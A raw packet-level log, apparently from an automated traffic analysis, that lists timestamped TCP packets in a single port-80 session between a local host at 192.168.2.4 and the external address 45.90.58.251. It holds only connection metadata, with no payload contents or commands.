Jul 5, 2024 07:48:48.318135023 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318162918 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318173885 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318181992 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318192005 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318202019 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318212032 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318242073 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318430901 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318440914 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318449974 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318460941 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318470955 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318476915 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318480968 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318491936 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318500042 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318522930 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318542004 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318793058 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318803072 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318842888 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318862915 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318873882 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318882942 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318892002 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.318909883 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318924904 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.319103003 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319113016 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319122076 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319132090 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319140911 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319150925 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319159985 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319160938 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.319181919 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.319195986 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.319490910 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319500923 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319509983 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319519997 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319529057 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319539070 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.319542885 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319560051 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.319575071 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.319720984 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319730997 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319740057 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319768906 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.319782019 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.319892883 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319933891 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319943905 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319952011 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.319977045 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.320000887 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.320079088 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.320087910 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.320131063 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.320132971 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.320142984 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.320152044 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.320162058 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.320171118 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.320180893 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.320193052 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.320225954 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.349917889 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.349952936 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.349961996 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.349991083 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.350099087 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.423429012 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423472881 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423482895 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423527002 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.423644066 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423693895 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.423717976 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423729897 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423767090 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.423801899 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423870087 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423880100 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423888922 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423897982 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.423914909 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.423940897 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424164057 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424226046 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424231052 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424242020 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424283028 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424357891 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424371004 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424380064 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424390078 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424402952 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424427032 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424510002 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424520016 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424562931 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424653053 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424663067 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424673080 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424685001 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424695015 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424727917 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424824953 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424834967 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424844027 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424854040 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424864054 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.424870968 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424901009 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.424999952 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425014019 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425024033 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425040960 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425065994 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425137997 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425146103 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425156116 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425183058 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425282001 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425291061 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425299883 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425308943 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425338030 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425352097 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425362110 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425400972 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425446033 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425458908 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425498009 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425587893 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425597906 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425606966 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425614119 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425637960 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425666094 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425692081 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425702095 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425709963 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425738096 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425829887 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425838947 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425878048 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.425965071 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425982952 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.425992966 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426007032 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.426039934 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.426106930 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426117897 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426126003 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426156044 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.426274061 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426285028 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426294088 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426321030 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.426345110 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.426502943 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426512957 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426526070 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426551104 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.426621914 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426632881 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426672935 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.426711082 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426723003 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426757097 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.426781893 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426827908 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.426846981 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426918030 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426928043 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.426958084 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.456489086 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.456520081 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.456530094 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.456542969 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.456562996 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.700011015 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700043917 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700056076 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700090885 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700196028 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700206995 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700217009 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700227976 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700459957 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700469017 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700479031 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700491905 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700505018 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700514078 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700521946 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700531006 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700937033 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700947046 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700956106 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700964928 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700975895 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700984955 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.700998068 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701008081 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701018095 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701026917 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701035976 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701046944 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701056957 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701066017 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701076984 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701087952 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701097012 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701767921 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701777935 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701786995 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701796055 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701806068 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701814890 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701824903 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701833010 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701843977 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701853037 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701862097 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701872110 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701880932 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701900005 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701909065 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701919079 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701927900 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.701937914 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702635050 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702645063 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702655077 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702665091 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702675104 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702683926 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702692032 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702704906 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702713966 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702723980 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702733040 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702742100 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702752113 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702761889 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702770948 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702781916 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702790976 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702800989 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702810049 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.702935934 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.702959061 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.703080893 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.703536034 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703547955 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703556061 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703564882 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703577995 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703587055 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703588009 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.703598976 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703608990 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703618050 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.703618050 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703629971 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703633070 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.703640938 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703651905 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703660965 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703665018 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.703675032 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703685045 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703692913 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703702927 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.703702927 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703712940 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.703716040 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.703751087 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704432011 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704442978 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704452038 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704462051 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704471111 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704483986 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704487085 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704495907 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704499006 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704509974 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704516888 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704520941 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704531908 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704540968 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704545021 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704556942 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704566002 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704566956 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704576969 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704581976 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704601049 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704617023 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704627991 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704638004 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704648018 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704658031 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.704662085 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704775095 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.704775095 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.705362082 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705372095 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705379963 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705389023 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705398083 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705406904 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705409050 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.705418110 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705426931 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705435038 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.705436945 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705451012 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705451965 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.705461979 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705471039 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705473900 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.705482006 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705491066 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705498934 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.705502033 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.705509901 CEST	63881	80	192.168.2.4	45.90.58.251
